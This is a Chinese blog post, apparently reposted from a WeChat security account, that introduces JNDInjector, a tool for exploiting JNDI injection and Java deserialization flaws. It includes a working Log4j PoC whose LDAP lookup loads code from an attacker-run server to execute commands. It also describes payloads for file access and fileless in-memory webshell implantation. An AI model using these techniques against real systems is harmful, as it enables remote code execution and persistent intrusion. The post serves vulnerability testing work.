-
• 基本信息
-
• 生成LDAP链接
-
• Direct JNDI
-
• 反序列化场景
-
• 内容回显
-
• 命令执行:
-
• 读写文件:
-
• 列目录
-
• 环境信息
-
• AgentNoFile内存马植入
-
• 自定义Payload
-
• 自定义Gadget
-
• 命令行模式
-
• 最后
周末迎来了2023年的第一场雪,赋闲在家,正好得空把一直想做的JNDI&反序列化利用工具写了一下。工具取名JNDInjector,是一个跨平台高度可定制化的JNDI&反序列化漏洞利用工具,特性如下:
-
1. 同时支持GUI图形化和CUI命令行两种工作模式;
-
2. 支持Gadget和Payload完全解耦,不同Gadget和Payload可任意组装;
-
3. Payload支持动态参数设置;
-
4. 支持Gadget和Payload动态编译;
-
5. 支持依赖包自动下载,自动解决依赖关系;
-
6. 支持已编译Gadget和Payload一键反编译,并可动态修改;
-
7. 支持辅助生成LDAP利用URL链接;
-
8. 内置常用Payload(基本环境信息、命令执行、读写文件、列目录、NoAgentFile冰蝎内存马植入);
-
9. 内置常用Payload支持回显。
基本信息
JNDInjector采用Java开发,支持Windows、Linux、Mac OS等常见操作系统,GUI界面如下:
CUI界面如下:
生成LDAP链接
服务启动后,所有的Gadget和Payload都处于可用状态。为了方便利用,可以通过选择Gadget和Payload来辅助生成可用的LDAP链接。
Direct JNDI
在一些比较老的JDK版本中,可以无需bypass直接实现JNDI注入,比如,在如下Log4j利用场景中(Java 1.8.0_66+log4j 2.10.0):
public class Poc {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
String ldap="";
logger.error(String.format("${jndi:%s}",ldap));
}
}
我们想要辅助生成执行命令calc.exe的LDAP链接,可以选择Gadget为Plain(老版本JDK不需要反序列化Gadget来bypass),Payload选择Exec,参数cmd填写为calc.exe,如下:
参数信息栏右下方可以直接点击复制生成的LDAP链接:ldap://192.168.24.1/CQICTAVVII/Plain/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9
填入Poc:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Poc {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
String ldap="ldap://192.168.24.1/CQICTAVVII/Plain/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9";
logger.error(String.format("${jndi:%s}",ldap));
}
}
执行:
Plain这个Gadget只对Payload做一层透明封装,可以理解为Plain这个Gadget直接返回的是Payload本身,源码如下:
package net.rebeyond.jndinjector.gadget;
import net.rebeyond.jndinjector.common.annotation.Gadget;
import org.json.JSONObject;
@Gadget(desc = "一个空的Gadget,用来原样返回Payload,无需通过反序列化Gadget触发的Direct JNDI注入场景")
public class Plain {
public static byte[] warpPayload(byte[] payload) throws Exception {
return payload;
}
}
反序列化场景
接下来假设一个需要通过反序列化进行ByPass的场景,Java 1.8.0_351+commons-collections 3.1,Poc如下:
public class Poc {
public static void main(String[] args) throws Exception {
javax.naming.Context context = new javax.naming.InitialContext();
context.lookup("");
}
}
首先选择Gadget为CommonsCollections5,Payload还是选择Exec:
获得链接:ldap://192.168.24.1/OQjyzvoUNy/CommonsCollections5/Exec/eyJjbWQiOiJub3RlcGFkLmV4ZSJ9
填入Poc,执行:
内容回显
JNDInjector支持Payload回显,如下:
命令执行:
读写文件:
列目录
环境信息
AgentNoFile内存马植入
内置了采用AgentNoFile技术的内存马植入Payload,该Payload有两个参数:target为内存马正则匹配路径,以斜线开头,如/target;password为连接密码。使用冰蝎默认连接方式连接,配置如下:
添加内存Shell:
自定义Payload
可在IDE中开发Payload,然后将编译后的class文件放入JNDInjector主程序同目录下的gadget目录下即可。
当然也可以在JNDInjector的GUI里直接写代码进行编译,如下:
因为Payload是需要到对方服务器上执行的最终代码,为了解耦合,Payload不支持引用外部第三方库。
如果使用JNDInjector直接进行编译,需要使用JDK环境运行,JRE环境可能会无法即时编译。
自定义Gadget
编写Gadget的方法和Payload类似,可以通过IDE,也可以通过JNDInjector的即时编译。
不同的是,Gadget一般需要依赖第三方库,JNDInjector支持动态解析依赖,开发者只需要使用net.rebeyond.jndinjector.common.annotation.Dependency注解来指定依赖列表即可,注解内容为gradle格式,比如依赖jedis组件的4.3.1版本,则Dependency注解内容为{“redis.clients:jedis:4.3.1”}。
由于此文只是从宏观上对工具做一个简要的介绍,关于Gadget的开发细节,比较复杂,会另起文详述,此次不再细讲。
命令行模式
在命令行模式下,功能与GUI类似,唯一不支持Gadget和Payload的动态即时编译功能,如需扩展Gadget和Payload,需要通过IDE编译后,将class文件手动防止程序主目录下的gadget和payload文件夹。
最后
Github:https://github.com/rebeyond/JNDInjector
该工具仅用于在测试环境进行漏洞验证,请勿用于生产环境。工具开发比较仓促,可能会有一些bug,欢迎提出修改建议。
原文始发于微信公众号(银针安全):一个高度可定制化的JNDI和Java反序列化利用工具